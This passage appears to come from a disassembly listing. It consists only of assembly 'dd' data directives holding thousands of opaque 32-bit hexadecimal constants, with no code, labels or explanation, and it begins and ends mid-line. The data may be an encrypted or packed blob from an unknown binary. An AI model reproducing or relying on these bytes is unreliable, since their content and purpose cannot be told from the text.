0CF741F84h, 0BD79E054h, 4300E9BEh dd 4F366F9Bh, 7510C140h, 0DF3500CAh, 20829F59h, 7A00BE84h dd 0F579C66Eh, 771A142h, 0ACD4F2Dh, 0F6E030B3h, 65011DDAh dd 8801D6ECh, 5AD8757Dh, 0D2031451h, 3A73B86Bh, 0E90035E4h dd 0BEC7101Ch, 0CA075EEFh, 848320D9h, 1AB9CB0h, 0DB0A1DE9h dd 0EA3FC38Dh, 7388A58Bh, 0DE4851C0h, 0A6173840h, 0AF1C4A5Ah dd 560846C0h, 37AEC7h, 6DCB9D9Fh, 27388587h, 368BB48h dd 5B28EA1Fh, 0E31AD807h, 0ACEC48F1h, 0F752AC00h, 0A96F58BFh dd 0B368A00h, 6676D496h dd 0FA8FAB3h, 2FE67EEBh, 1CEE2AE0h, 933C7894h, 0D413949Eh dd 72600F0h, 35348EEDh, 3EE8007Ch, 9EB7B52h, 651FF672h dd 40C0BEDFh, 0D71E1850h, 61FAE2h, 87BF21FDh, 7F1676Ch dd 62F76D00h, 548B48C1h, 940160D5h, 27D3B849h, 1F706E01h dd 3A36312Ah, 1F471F1h, 5AC80EA5h, 73E1E846h, 0E7262112h dd 0C04703C1h, 99001CFEh, 5F5CB410h, 0EDE8D8h, 8F80D33Eh dd 8D14869Dh, 6DD50202h, 0DD4DE963h, 0CEC63A40h, 0BDDEA4A0h dd 0D8C3830Bh, 3CACA0B3h, 0FBF03Ah, 3254F598h, 781033B1h dd 31DF0500h, 2E30609Eh, 734F160Dh, 642D001Ah, 6C37FB43h dd 0AC6DDD13h, 36AD00C0h, 0B89C0084h, 33D7D341h, 0E21C06CFh dd 54C1F46h, 4380C1h, 0DB94F739h, 6ED5AC7Bh, 0EB001DE2h dd 5B099127h, 0E3B154h, 3A127637h, 6DE91668h, 0F73F6CB0h dd 0F5BC072Ah, 801BD903h, 7D60B03h, 6F5D3FD7h, 5BC3C200h dd 0B65A5575h, 56AB3Fh, 0FDC76C10h, 24A9DEh, 8A8C2B66h dd 36736415h, 0E57ECE09h, 6EDC00E3h, 1F32D3A2h, 40B0D276h dd 0FB95F4AFh, 0D244B1Ah, 0B017E2Eh, 0C3EF527Bh, 902FE440h dd 8AFB3912h, 0F7AC3980h, 64B6271Ah, 0D10328B2h, 4DA7DBEh dd 76A6B049h, 0F06F608Bh, 0DD31092Ah, 7D0CD801h, 0CB5A49E7h dd 9C1BC4h, 9EAB9047h, 0E6B0757Eh, 0D0398EEh, 0D45EDA08h dd 0BB4BD8A4h, 19690C82h, 4088043Eh, 0F8EE93F6h, 0CF03ED72h dd 4821AACCh, 8929D085h, 0C2E00D0h, 69479E74h, 1500DA4Dh dd 5BBB4E4Fh, 5700B17h, 0A8CAD9EAh, 0FEBF8027h, 0DC98DBCCh dd 360FE714h, 3475864h, 129AA78Fh, 80A9CA81h, 0D65E44EAh dd 107F0AB3h, 18CBB161h, 464DE882h, 0D823A000h, 0CD91E260h dd 34DB00F3h, 0D79A7949h, 0EE00B4F9h, 580250C7h, 3E44C26Ch dd 7D80E3DAh, 0BE75C38Dh, 0C001DCEh, 38884E73h, 19D4368h dd 510A1F98h, 0E4B0FA36h, 82491AD0h, 3BCE0068h, 8C12D3F0h dd 78D9081h, 0B5F1C3EEh, 65D700C0h, 2F00961Dh, 0A626DA3Bh dd 9E2831h, 77389213h, 7B9B089h, 4D3F29C0h, 0FE63C5F5h dd 1E6A007Ah, 718B08EEh, 7C01BBA1h, 1912B9D0h, 0D4681D34h dd 0EE18403Fh, 84337C5Ch, 0DA582200h, 21DB7C13h, 0C4BB71E9h dd 0B0C1CFB0h, 3C0087A0h, 10718F91h, 558856Eh, 6CA0BF0Eh dd 77C80AFh, 8B07A412h, 8F67F6EAh, 784833B0h, 14430040h dd 5660185Dh, 20123B88h, 0B440EA85h, 2350B07Dh, 0F69300CFh dd 0D1F36864h, 0F700ED94h, 15204E3Dh, 24888CB9h, 1CDF39EFh dd 25378354h, 75C0C936h, 92005C3Ah, 8F27440Bh, 71812EC6h dd 0E9ED006Fh, 0F6FB2C06h, 4A002407h, 0DA6D155Dh, 3FA1239Ah dd 9600E5B8h, 44FFA9F2h, 0F0005449h, 58EE9E3Eh, 139CC8h dd 2978571Fh, 5123C2E9h, 0C3C6703h, 98A0206Fh, 7FEE8268h dd 415503C4h, 0FD1EF09Eh, 293D7AC0h, 2471C700h, 8ADB48BFh dd 0A43200F9h, 4E131B51h, 0D8E6A803h, 108233Ch, 0AAE036A5h dd 82D53F4Fh, 18DA3087h, 7CFA804Dh, 0CC007438h, 0EBFE1006h dd 0E8EC6D28h, 303F295h, 177B430Dh, 0C3E89E3Dh, 0A7000F72h dd 0CA6CB05Ah, 602DC7E1h, 39F4BAA1h, 7D008D50h, 0ED548737h dd 40AF99h, 78BCA235h, 0FE92A764h, 0BFFE9FE0h, 610E75E0h dd 5A02C8h, 0FC41EC76h, 2C460031h, 0B5344CB7h, 0F000D54Eh dd 0BBD35C16h, 539930h, 2404EFAEh, 7029C49Ch, 0F6FA620Eh dd 5550071h, 64490Ch, 0CED90F7Fh, 1019CC26h, 8704B707h dd 5F608A7Dh, 0C8762Fh, 23483FDFh, 6A839C80h, 54022B00h dd 7D5FF171h, 19DF8E2h, 0DD1CA7C3h, 0C9B3E739h, 0A2EE4D1h dd 62C44A18h, 31D6919h, 0F1F05348h, 0F5B0FF4Dh, 490EA484h dd 0C082DE8Eh, 0B122247Dh, 2A2B0005h, 4702E1FDh, 20039177h dd 0AE37C611h, 87B4C0E6h, 4AFC000Ch, 0B8084BB2h, 9701C89Ch dd 7522271Dh, 5CBC787Ch, 85A3BF80h, 4ABE964Eh, 0FEB8BD00h dd 44DED15Dh, 3716009Eh, 0B16E950Dh, 0FD00646Ch, 8710C859h dd 227FAEDh, 0CA6D4D9Ch, 58E11EDCh, 93F7CC3Ch, 802E903Fh dd 7DE7757Fh, 4D98C7h, 4A62BB81h, 1AE95210h, 0E6005E77h dd 0E707406Ah, 690803h, 289ACD2Eh, 197203Ah, 52A6CC00h dd 8FD2DAA1h, 0EC1E3E0Eh, 0B9BD0F00h, 4EE43BA7h, 87519200h dd 0D695EEE6h, 0C3D20069h, 0FA2F5E59h, 0CBF8E4AEh, 9448700h dd 0B93C7C77h, 0DFC400E3h, 644295ABh, 6D1D80FAh, 36409076h dd 23C97EC1h, 0B12B005Fh, 47988E1Dh, 59007380h, 9021A110h dd 7618ACCh, 2E7C246Bh, 8BC7319Bh, 2977DC66h, 4552DB00h dd 4E19414Dh, 2C5C0036h, 679BCE0Ch, 5A0010BFh, 0BC45D34h dd 0B5A0F2h, 5BABF59Dh, 0DB12B4D7h, 0E84D541Dh, 3385FA07h dd 0E1A48950h, 0B5AE01CAh, 0EDFCB030h, 71036E3Bh, 91BC28E0h dd 97E09CB2h, 85DC0377h, 60A1749Ah, 1DAB7AA8h, 0C00CAD00h dd 2E9B9413h, 0C1440045h, 8A106A8Ch, 65004981h, 0EE846F78h dd 39663D3h, 0F4A61A0Eh, 0B2A8C86Ah, 6F03E4ACh, 0A871F839h dd 2482C497h, 0ED62407Dh, 1B3503AFh, 0C554F608h, 28FA1AC8h dd 663A7803h, 0D0C0CB5Bh, 0A97745h, 15C510Eh, 8B992163h dd 1547E48h, 3EA846Ch, 3F000AAEh, 1E812022h, 660C2600h dd 0C33CF802h, 40D4AB3Ah, 14DD9h, 0F6A3E913h, 503FA294h dd 181FBC00h, 0CC0B8D2Bh, 7DC101BBh, 2EDB283Dh, 0FCA5D094h dd 0FA3C700h, 0F2BD7752h, 9E6F0026h, 738FB53Ah, 34000B87h dd 83080A53h, 7C1CE8A2h, 0E3C70F0Eh, 0B45DB7Dh, 8E328014h dd 0E7E03246h, 17E19F07h, 25D09BDFh, 175540CBh, 32E124Dh dd 9A2D2303h, 15C7F8C0h, 0EE245100h, 0DF0678C0h, 47F2007Ch dd 2291CA96h, 261ECF31h, 4B40FC0Eh, 0F11EE5A6h, 0F7D60010h dd 1B593BF6h, 15CDECAh, 91581AEDh, 0FED448D0h, 0E98E1234h dd 446C03E2h, 53B03D7Bh, 3206EA68h, 57F7332Bh, 0A5593CA8h dd 0C65AE98Ch, 20006A29h, 0DEA0E77h, 9D3EB0h, 0A2A1BF8Eh dd 0F301DA43h, 7FB91C00h, 0B7A0FC95h, 0DF270FDEh, 96E0FE51h dd 4555DDF0h, 0C9445209h, 5EB2002Ch, 0DED699h, 22A82085h dd 0BFEA2815h, 514CE800h, 358A7996h, 0B12100C9h, 9D390A29h dd 0A34CDDA1h, 0CE0F1708h, 0EF71A500h, 0A08E9073h, 0D876E7h dd 0AF04AE33h, 915532C2h, 2D740601h, 6CB31CD7h, 3F433E8h dd 0B6F683CAh, 0AED8DE6Dh, 63030769h, 866E3D74h, 8CDAC0A5h dd 0E3CB096h, 52FCE86Bh, 0E1EA4A60h, 0DB00BEB8h, 0FBCB9B20h dd 50EDC006h, 481A1h, 21854066h, 9887FD14h, 7F438000h dd 2BF4A96Eh, 503300C8h, 0DCE1F95Bh, 0A100167Ch, 0F07BD1Ah dd 0F10367h, 0D234B2F5h, 8771372Dh, 0F757C900h, 0A391D7BEh dd 86EF38DCh, 7B51C580h, 61FC792Fh, 2507CFE6h, 94AB92A9h dd 0C0BEBD93h, 0F504012h, 0B60EC688h, 8DEB2C2h, 0FE6EFF60h dd 84F70D01h, 9633E35Fh, 1891FCh, 0ED97591Ch, 29601BB1h dd 0E12AFB00h, 0A734887Ch, 0D39E3D95h, 0BB775D0Fh, 7B4F9723h dd 0E203AFE7h, 0DA888454h, 693CE3FBh, 123A94h, 0C4B38137h dd 0D5384Ah, 98CE965h, 2206F72Fh, 8A285F00h, 0DBAF79A4h dd 0FD200189h, 0BF336EA0h, 5BEDC046h, 0F44CFE00h, 0BA8B016Ch dd 0E12B00CBh, 8541903Ch, 0CA00EF95h, 1D043A8Ah, 0EF318222h dd 53F3F4h, 0C15CA335h, 2DF69B0Eh, 33987400h, 0C04ED470h dd 76DA2AA9h, 0E35FC84h, 2ECCBC21h, 0ECA650A0h, 7400C7F5h dd 9845727Eh, 50739370h dd 754BDFD7h, 0C9540015h, 87A41CB7h, 0A6982AFAh, 0A968C21Fh dd 0ECCA7440h, 28574Dh, 0DFA1B592h, 17EE9C42h, 6E030203h dd 0A0D89A95h, 75D33Bh, 0D7294B7Bh, 59E69F0Ah, 47CA0703h dd 906FDCE5h, 0B635A9h, 7D04EDD3h, 3EC92B3Ah, 0D4A70500h dd 36ECE73h, 0AC870016h, 5A3F29B8h, 1F76C78Ah, 7CFB4800h dd 2880719h, 11780024h, 0BB89F6F0h, 9F00EB73h, 5C9291F9h dd 88A3D4h, 8B1EAB6h, 48CF3CCBh, 7C692426h, 0A1C8803Bh dd 19E14359h, 9630206h, 5CDAE3Eh, 0C8578840h, 32D1D70Fh dd 7B6BE00Dh, 0EEF1506Dh, 9454009Ch, 70072D5Bh, 0B8A0625Ch dd 293AC02Eh, 0E66F8013h, 57A68E17h, 913B264Dh, 0B28900D4h dd 0FA03C149h, 0BB7ED500h, 3368909Dh, 41D20036h, 0F781AE26h dd 0FC7EC637h, 0DF8F8C03h, 3D1C90h, 8DBBBA60h, 6232C074h dd 0E28C5907h, 100ACC5Fh, 74F7E903h, 0F69000B7h, 0C8055E58h dd 7E1A5F93h, 75A9B66Ch, 74000AFCh, 454C9E69h, 24773F8Bh dd 7F7963Fh, 0E675C72Ah, 62F340D0h, 91058F94h, 3CEAFEACh dd 49903005h, 80E13C09h, 0AF7D686Ch, 5FE001CAh, 65BFC869h dd 622080C2h, 0E7B9D079h, 83511AFCh, 603830B4h, 0E0C83FBBh dd 0CF4A1E82h, 3E9CB929h, 18A61200h, 0CF26D01Eh, 910038F8h dd 5F1B1357h, 330F525h, 73CA5182h, 18B0FE22h, 0C7001126h dd 2DA40F6Fh, 531F64h, 0D4EA5436h, 3865719Ah, 0F520A100h dd 4593B010h, 5D40027Eh, 4964BF7Dh, 0A84BC1E0h, 0A4C49B00h dd 8D17C51Fh, 0ED04003Bh, 9C37EAA9h, 5100810Bh, 0E08261B4h dd 1EAD329Bh, 0C03909F3h, 4FEE77AAh, 880ECEDBh, 60080E87h dd 0EFCC253Bh, 726D7E84h, 0B5DE0099h, 604128EEh, 0A300F419h dd 8D1CAD3Fh, 0E3438E0Eh, 30F32FF0h, 6D186437h, 563ED9CDh dd 90ED0340h, 0E0B3D6A3h, 3DF81A4Ah, 2D8D670Dh, 0D02143A8h dd 1C24ACDDh, 878300BAh, 6BC5F2Eh, 73CBF520h, 0C4065835h dd 5E256961h, 0C35A0329h, 0C26A593Fh, 7A9971FBh, 21CED31Bh dd 398C9F00h, 0BF8BD27Eh, 3CF40773h, 4CD8A32Fh, 0B518BB50h dd 70680DE1h, 992A1210h, 1E0840FDh, 2F891F15h, 3FFEB40Ch dd 6EAB0977h, 5D6020BEh, 0BF4FEC1Ch, 9C006FF0h, 0AC6772CBh dd 1204C7h, 7B55C28Ah, 0E3A5C40Eh, 27009174h, 69802813h dd 0F5C06FEh, 0CA0DED2h, 8CEDC80h, 0D73E3DCFh, 68550004h dd 46A38FE6h, 292A5C12h, 294E7007h, 920903Eh, 0D8E89C16h dd 2E0030E8h, 52333B68h, 32F13F7h, 81D94F07h, 83B0B98h dd 97C10F61h, 0DF8400FEh, 3CFD109Fh, 0B7138EFCh, 0D01203F8h dd 55F90A14h, 54F0C420h, 5F0908C8h, 0F16B185Ch, 0CDA11057h dd 47C73600h, 0A504B66h, 3C7E1Fh, 6B1EEAECh, 0DD1D68BFh dd 45E3AE18h, 8853A729h, 3388B78Dh, 0DFB2886Eh, 88557388h dd 2788BE53h, 33258864h, 28410F89h, 5B11B139h, 0E08E1165h dd 1482BB12h, 0EF27CDC8h, 88439028h, 0B5484F97h, 2222E39Fh dd 0A34202F8h, 0EF0E9A08h, 0F0A2171Ch, 10FF89DEh, 0C4A6BCh dd 5043B46Eh, 0A92AC8F7h, 0DE09F500h, 32DCE72Ch, 8408003Ah dd 0EE3C68D6h, 8775A779h, 60E03600h, 77F94175h, 0B71C004Fh dd 5A705FABh, 40004B95h, 7647C267h, 1FCBA1Eh, 2EB0DAE4h dd 0F49B2781h, 720028EDh, 197E5A60h, 31B013Eh, 573945FCh dd 90807FC4h, 2700A567h, 0A9FA6CB2h, 0EC3EAEA1h, 0CC510754h dd 20789FD9h, 6B91560Fh, 0D411BC00h, 0B75D30C5h, 1AA301DBh dd 0A17384F0h, 0D0DFD913h, 0F63CDDDCh, 0E9AF8978h, 918203Fh dd 7F9B0F97h, 56B0059h, 0A4D3714Fh, 0E2008853h, 0F6226452h dd 459D4h, 0AC0974DFh, 0F2EC039h, 0EA2B10C1h, 0A8F07A7Fh dd 0E1E90C88h, 475843A1h, 5C8C20Ch, 0C42822h, 0E34EEBACh dd 37F6E472h, 36F51300h, 31537BFDh, 15953912h, 0C0A2AB9Dh dd 0F9297603h, 6400C80Eh, 0EE16D3E5h, 5D18B5Bh, 2AEA055Fh dd 5EEEC302h, 0B7610097h, 1A0042C0h, 6D967135h, 7EF9903h dd 0B22F5833h, 31459017h, 0D860C03Fh, 46BFB419h, 168B0157h dd 0ADDDB29Dh, 3C0AD405h, 5800F576h, 0FF07A295h, 178E9854h dd 0FA0653DCh, 17686A00h, 0E09778h, 0CD36F2BEh, 2AABED8Fh dd 0AD11BD03h, 0A83DEA9Eh, 0F35C8Eh, 8F91CD83h, 2FB3898h dd 0A1345100h, 89E96A06h, 3EE700A8h, 7F55CD7Ch, 8500EE29h dd 0C2409CBBh, 0E6FBD8Eh, 465C1EF5h, 0ABE22700h, 99009013h dd 715AC211h, 1CFCF9EBh, 1FF21502h, 0E1CD0055h, 0A0D82A85h dd 7800F0FEh, 1A50121Bh, 0A2512FC6h, 28FA80FCh, 45E43Ah dd 92DF640h, 3F36BD21h, 78DE8F00h, 0B42B7E8Dh, 6D0705C7h dd 0FF76795Bh, 4088C4C0h, 9DBE00ADh, 0B4FDE98Eh, 4500EB89h dd 0BB2BE312h, 3826F7DBh, 6A80B70Fh, 198D803Eh, 25744D4Fh dd 820B5D0Ah, 0C500B03Dh, 0D2B623D8h, 0F9280767h, 0A00A9C8Ch dd 92AE6614h, 1E279F3Dh, 380079BCh, 0F63F9034h, 1EA80952h dd 80013142h, 0DCBAC551h, 0D3096C8Bh, 0A36EB272h, 0C864748Ch dd 0E95A1EEh, 0ABA7B758h, 0E9CF0C07h, 4F321C00h, 6A0EE693h dd 60265CAFh, 314E446Ch, 39BE0437h, 825FF452h, 0DE0B998h dd 17002A3Ch, 9791D7FDh, 724B02h, 0D98908FFh, 27E87FD3h dd 96A8FC00h, 0A2026AD2h, 39323948h, 6DBD873Ah, 82D76500h dd 0C65F3AEDh, 9B740A0Eh, 3FF3AFB3h, 0D3CD37C0h, 4C7125h dd 0F7F4633Eh, 5DE47089h, 0BC5C5901h, 21B830C8h, 69D870h dd 803161BBh, 0AD12B44Fh, 0B5FA72h, 0A2A6C52Dh, 0BE8300A1h dd 3B9A78BDh, 0D002DD6Fh, 98E0B70Ch, 0EB54E097h, 80BB003Fh dd 64F5E930h, 0FB0FE8CFh, 0A0A78C35h, 83756E3h, 306000B2h dd 0FF126A7Fh, 3A03D049h, 438D8618h, 323E8D1h, 9684019Bh dd 81A9F278h, 0EC0AF085h, 3AE76600h, 0B2B64238h, 0D278C032h dd 5131FAB0h, 10F3577h, 0A0A0759Bh, 3F0B869Dh, 78CF1338h dd 68310406h, 0C504C077h, 0DA1E28B4h, 0D8026D8h, 33DC4C1Fh dd 400801ACh, 0BD896CA5h, 0DCC4219Ch, 480092DBh, 64E62C3Eh dd 0F97B886Dh, 0FC708340h, 0EC803FD8h, 41265F9Fh, 5C030EF7h dd 6DF5CC22h, 0A0105630h, 7931D2Dh, 0D7E3D58Eh, 1A90F0E2h dd 73985225h, 2F00857Ch, 6068B046h, 5ED424h, 6D342AFEh dd 96440D2Eh, 763ABB00h, 65108E4Ah, 0AAF693h, 0AF3DAC7Bh dd 0B402859Ch, 2F786F00h, 88C654C8h, 0D2EF000Fh, 5BB58F69h dd 390FEE62h, 12FA0AFh, 727535A3h, 422AFCh, 0AEEB7FD4h dd 0E8BD96CEh, 54F6D000h, 807B3E30h, 0C7A0028h, 4146779Eh dd 0F7002206h, 0CAF5A801h, 795092h, 2B16CDEEh, 0D8DC7F59h dd 75C4BF00h, 376904B0h, 0FC60027h, 0DD4AD98Dh, 80B4B94h dd 72C33Fh, 0B6D7768h, 0C41D0F30h, 51A0349Dh, 0F9C04E21h dd 0A523BE0Eh, 5370C0EAh, 0DFE6CFh, 171D8793h, 7F390CEEh dd 0BBBC7703h, 99627B13h, 96C8A2A3h, 0B33075Dh, 53010D97h dd 248025F5h, 7900147Fh, 88C76991h, 0EA7B5907h, 6B1100CBh dd 0DAD09B8Ah, 90010658h, 3643CCC6h, 0A530C099h, 0FAA5003Ch dd 3760D7C5h, 14396E81h, 0E13E80A4h, 0D6299C68h, 57731Dh dd 0AE7D780Fh, 0C18634E9h, 0F6B8CF00h, 0FA26D39Dh, 919F60Eh dd 8A8D404Ah, 6E3B3880h, 5104A942h, 94A108E5h, 7527A2C1h dd 0BF504680h, 3CD3D02Ch, 0B400DDEAh, 7388F63Ah, 7A57889h dd 30BDD797h, 0D6F1307Dh, 2700CE4Ah, 0AEF0A462h, 7A6169CBh dd 479200D2h, 5F9FEBC8h dd 0B613DB32h, 6C00653Bh, 0F871C99Bh, 1ADE3963h, 0D8C1A783h dd 0E3B8E58Ah, 0F0F72DBDh, 3C48BB4Eh, 207E80E0h, 721F44Fh dd 870CF0E0h, 0C873D0FDh, 0A11F0E65h, 0DFC23608h, 60496419h dd 98FDAD80h, 2E2277ABh, 3E08B6F2h, 89CA500h, 838F56B3h dd 0E89B3800h, 145F6EBBh, 0A7E27Dh, 0C15A9F9Dh, 0C5385072h dd 0D7C48300h, 597661BFh, 48A12E31h, 9055000Ah, 3106ED0h dd 1766E35Ch, 0D500D380h, 7BAC6AD9h, 980200EBh, 9CE9D64Dh dd 0CB00FD7Fh, 95A27A8Fh, 14AE1394h, 97E7446Eh, 0D5B12A00h dd 0CB0DBE85h, 4A00B870h, 4422C4B5h, 387DA9Ah, 0AB741A5Ah dd 1380EC57h, 413979DDh, 0DF17806Fh, 0B1AEFAE7h, 1F0B017Ah dd 8598B325h, 0BA63C47Eh, 3B93C100h, 0D8193026h, 0D79C004Fh dd 516CF3B9h, 9D001104h, 7033CD3Dh, 7ABC1D63h, 0BD6A009Bh dd 1BB166BBh, 7B00D6B5h, 44B4757h, 3C623493h, 0B6007AC5h dd 35FE6615h, 0F4013A49h, 3D2A78D7h, 0DAD4B1A4h, 9FB700DBh dd 0D1897FB3h, 46EEDC35h, 5A2ECBFEh, 9D00A5E8h, 0E7EC9116h dd 0A188006Eh, 0D63CBC82h, 0D40B64E3h, 832AE6D2h, 983A848Ah dd 3ED9DAA1h, 0E400C163h, 0A5D53220h, 0C82ED00Ah, 1C000411h dd 6203E5BAh, 0E15B0056h, 0A042F1D3h, 9A00DA4Eh, 0D15D55A5h dd 72490B2Fh, 1B150038h, 0C23BA16Dh, 1D010DB9h, 0A23A0988h dd 64807CB3h, 8A1C6B94h, 5E00043Fh, 160EBFABh, 7770346Fh dd 0E60C00F0h, 9DFA83D0h, 320019BCh, 0D19E2241h, 773EF8h dd 7B4D4392h, 21894CFEh, 0B50AB01h, 0EA61510Fh, 0E8A90430h dd 2CC100B6h, 0A2D65241h, 2B00B87Fh, 9A47CD18h, 828B87h dd 397C6122h, 0D2401D20h, 0FC00157Ah, 0DAA4D48Ah, 7FE6ECDh dd 9A2D5D56h, 49F98031h, 0B90011EBh, 279E05DBh, 5D5EF0h dd 7B086AE4h, 0AFCFD04Dh, 53C6291Eh, 99649500h, 0FDFE926h dd 0F7EE54CCh, 0BDAAE2C3h, 1A482E80h, 2093531Dh, 7CD7F387h dd 0A13B8EA0h, 10EC0040h, 3DD44511h, 8CA04435h, 9D0077A8h dd 4B6765C4h, 627CD8h, 0A707FEF5h, 13BD54E6h, 0A499561Fh dd 753F803Eh, 1F672BD3h, 46EE000Dh, 0E5F5BD42h, 80A19EB3h dd 99D6D4A4h, 0EA7B4B00h, 72242830h, 5B380017h, 40F3FB2Ch dd 0C131BFE2h, 195DB878h, 2D9FC140h, 0C7FB1D56h, 40B5DE32h dd 4EA136BFh, 74001BE7h, 607DD3C5h, 3BEC6288h, 0AF8015A6h dd 70C6D9DBh, 0D801BC9Eh, 6E7B7789h, 0C06B45A8h, 0B00ECE3Dh dd 70FC4000h, 0CD2B6715h, 0BEDE6C6h, 828D6EDBh, 5732AB80h dd 1800EC4Ch, 0F9A0519Fh, 0EAFECE98h, 6F8B0FF0h, 372D643Eh dd 0C50C43B0h, 116251C8h, 8CD30F00h, 0BAFA125Dh, 0B1151E2Ah dd 282E003Ch, 0CFBB4730h, 74001FECh, 0D89517ACh, 0B8E90Fh dd 88CC9E68h, 52B3595Ch, 8079043Ch, 0A1358DF0h, 0EB05EB84h dd 0C8F1A180h, 7E17334Ch, 78C5C200h, 0CD3F8785h, 0ED760F79h dd 4ACAB383h, 94503FCh, 6FB0DA59h, 60009AD9h, 54DC77Dh dd 0A14A5Fh, 8B2973E4h, 0E49FC85h, 0DE658300h, 9AD21D6Eh dd 7CA40008h, 233F6A24h, 0D6789F55h, 26E2C100h, 4D062963h dd 6C390056h, 0A1BAF03Ch, 0C54C34EBh, 174F0105h, 4B05A751h dd 0F9EC4621h, 0AE3D004Dh, 99E91639h, 5C0093F4h, 0BE381966h dd 94D9DEh, 2B518ABFh, 0F95388C1h, 8EDAAB00h, 0FB966BD2h dd 2DE062h, 11BC263Ch, 0C67BFD0Ah, 0DDC2DE00h, 1C604E9Eh dd 214B0081h, 0F787F432h, 63000F6Eh, 0C0FAA8B8h, 1DC15762h dd 9E2BB7h, 0E760C738h, 89143F6Bh, 9E8F461h, 0DC34D096h dd 3CE80047h, 0F18DC4ADh, 0BC44C629h, 3484D680h, 0F445AE41h dd 5BEC30B9h, 9F82EF41h, 0DF9D1800h, 2B3B2C7Ah, 55CC1CF3h dd 49A9C245h, 0E48392F6h, 800AC818h, 0D8DF9666h, 711FE283h dd 2CF488F0h, 0C8E049h, 0C6A9410Bh, 507C35D5h, 27855C00h dd 0D22DB63Bh, 9B00045h, 0DA40ADE4h, 5D005BEDh, 0BAEE36A6h dd 5C4A8AE3h, 57540E2h, 670EE841h, 2A52C058h, 653E6407h dd 0BA1E005Fh, 11AC7E51h, 0E1000B7h, 8E533B21h, 0CE0046A8h dd 1250455Bh, 0DD6E20h, 0F797DC7Dh, 8A04B94Ah, 1C37F63Ch dd 2D402215h, 70E4112Fh, 26DA00EAh, 681B03AFh, 8700C9E8h dd 0CB02C30h, 0CEA44Dh, 0D29F20D1h, 15E519EAh, 45769502h dd 0A0106582h, 7863D780h, 318404C6h, 0DC55295Bh, 6005323Ch dd 1411ED4Bh, 0B0F6C180h, 6BE300D5h, 5413E793h, 0BB00C605h dd 5DB852F5h, 28304C7Eh, 79C08EE1h, 0B6D2004Dh, 0A21154E3h dd 7A0014C2h, 841343A6h, 7B1AC0BEh, 9C740A6Eh, 80F02799h dd 3B7A8697h, 0B007E84h, 0F2927823h, 24134B33h, 784F95Fh dd 0E50250Ah, 890F29E0h, 0C800AA9Eh, 13E2C274h, 0CFB47Dh dd 0DED97A3Ch, 5E906DC3h, 610041EEh, 0E73E089Eh, 1916BFh dd 942E48F5h, 0DA6555EAh, 3D5AB8C0h, 0BF85E34h, 0B669FA84h dd 0CCC21680h, 40008FCDh, 0D52721E4h, 1C2402AAh, 80811115h dd 0BD4A05F9h, 8800593Eh, 621F5596h, 2C449FC0h, 0E2873D8h dd 2EA02A1Eh, 0EE22489Eh, 797C8A0Fh, 28FF003Ch, 0FDDA5C2h dd 0A46E73DFh, 5B076F00h, 5600B9E6h, 904539EBh, 9929E8h dd 0FEEF70BEh, 0F7F321DFh, 4B058h, 79938F89h, 0B0F9CEABh dd 35990244h, 0DDA21A83h, 17BB2C60h, 6692CB0Fh, 0BC946Eh dd 0EF519E6Ah, 0E661DFD7h, 0D3B8003Eh, 69DE6BFAh, 1B001E94h dd 16F46D88h, 49BEFEh, 76C41571h, 0EAFA67C9h, 0B4B94Ch dd 6FC30CE1h, 95472E7h, 86683338h, 981E7001h, 439187D1h dd 69B345D4h, 3918887h, 136300CAh, 75FBBA55h, 95095F5Bh dd 201A0F7Fh, 5E2D0750h, 0D1DE1241h, 0C0105D3Bh, 13C6444Dh dd 0B20119E4h, 1B17BC23h, 0BBD4C55Dh, 5801FC69h, 0F00A688h dd 0BF38AE97h, 20778F2h, 0AB91156Fh, 0C9D51300h, 18B41DDAh dd 571C47C5h, 0F56BF03Ch, 3900B82Ch, 970E5E26h, 0D093F8h dd 602545A9h, 38628B06h, 19A79903h, 0F07C5375h, 0BBFB7Eh dd 10B5B44Fh, 0F1ADAB16h, 80AFDE00h, 0C2E30847h, 0B409842h dd 4A811E46h, 909E08h, 9568940Ah, 0C2008C2Bh, 397D2A75h dd 0DDC1F2h, 0C804CF98h, 4C40F494h, 0FB00BA7Ah, 0C2971C79h dd 63FA4Ah, 0E816F75Dh, 7DC1CA8Dh, 17AF401Eh, 0BD0D85BBh dd 0C806A156h, 7B71C691h, 9ABF00E4h, 243BE64Ch, 94725A30h dd 540F9F00h, 0BA4F8087h, 0B1880031h, 0AD05BE50h, 42148E17h dd 78BC51FEh, 0EB038F75h, 0DA1F8A7Dh, 9C0AB1EEh, 0C4F40465h dd 4A34036Ah, 829FA815h, 0A369780Eh, 0B6C2E2FDh, 0D446013h dd 0C0AA015Bh, 0E463127Fh, 0AFCB609Ch, 8005A23Ah, 1A750242h dd 98D4090h, 0B034233Ah, 0D4C2480h, 5CE41208h, 0CC9AAD05h dd 80ABCE76h, 8DFB3433h, 0FD9DD70Fh, 2EFEA061h, 0EE994023h dd 8C652789h, 5EB0F650h, 0D900CD77h, 2E1780BFh, 1D21DEFBh dd 0CCFB5E5h, 0A4E80C75h, 0DCD10401h, 9DFBAFA2h, 14796E8h dd 22D755BCh, 60609F30h, 0C090A0D2h, 11C2625h, 3D168040h dd 0D6A720h, 2CD998E3h, 136D5396h, 0F647A800h, 0DAB41158h dd 7B8400B0h, 8D9270C4h, 541E895Ch, 0BB4246F3h, 60D135B3h dd 17321Ch, 9F9E333Eh, 7A7ED361h, 50DD6B00h, 0DED6CCB5h dd 94F416DCh, 30A0275Eh, 0FD52DA6Eh, 4A9BB000h, 0EC601C47h dd 0FCAC5876h, 0FA08607h, 411B00D5h, 9C002629h, 0CEE304FEh dd 0ECB80BEDh, 744C1FFDh, 2DC944ADh, 20BCC1DFh, 0E7C5F8C3h dd 0D8C2C100h, 170A07F9h dd 6DF003Bh, 0E4167F13h, 0EB1D283Fh, 0A2C0A3DBh, 0F4BFFE08h dd 3EA40C4Eh, 0CA104A1Eh, 47031100h, 0B880D085h, 4BAE00B2h dd 57C29E77h, 0BFC4649h, 413C898h, 84FCDA9h, 0B88172C0h dd 3BD811B9h, 0DA6A02D1h, 88227905h, 20DDC441h, 0B90238AEh dd 0D4C76CB7h, 910743E1h, 48208F03h, 9CBA547Bh, 9A1900DDh dd 5634338Bh, 75586011h, 0C54C01ACh, 0DC9EC705h, 0F0D471EDh dd 883F0089h, 0DFB86D34h, 92001DC2h, 256980A2h, 467CEBh dd 8FB0DE7Eh, 0AA97D87Ah, 0A9A5A002h, 0A02E1DC0h, 1AC87A0h dd 5B70DCh, 0F13828CCh, 8D3A9DD6h, 27E86700h, 0FA327354h dd 0B20B0146h, 5B6C26E2h, 0B1B9F888h, 49EEFB90h, 0B06DE909h dd 687060B5h, 981717BFh, 80DD14F5h, 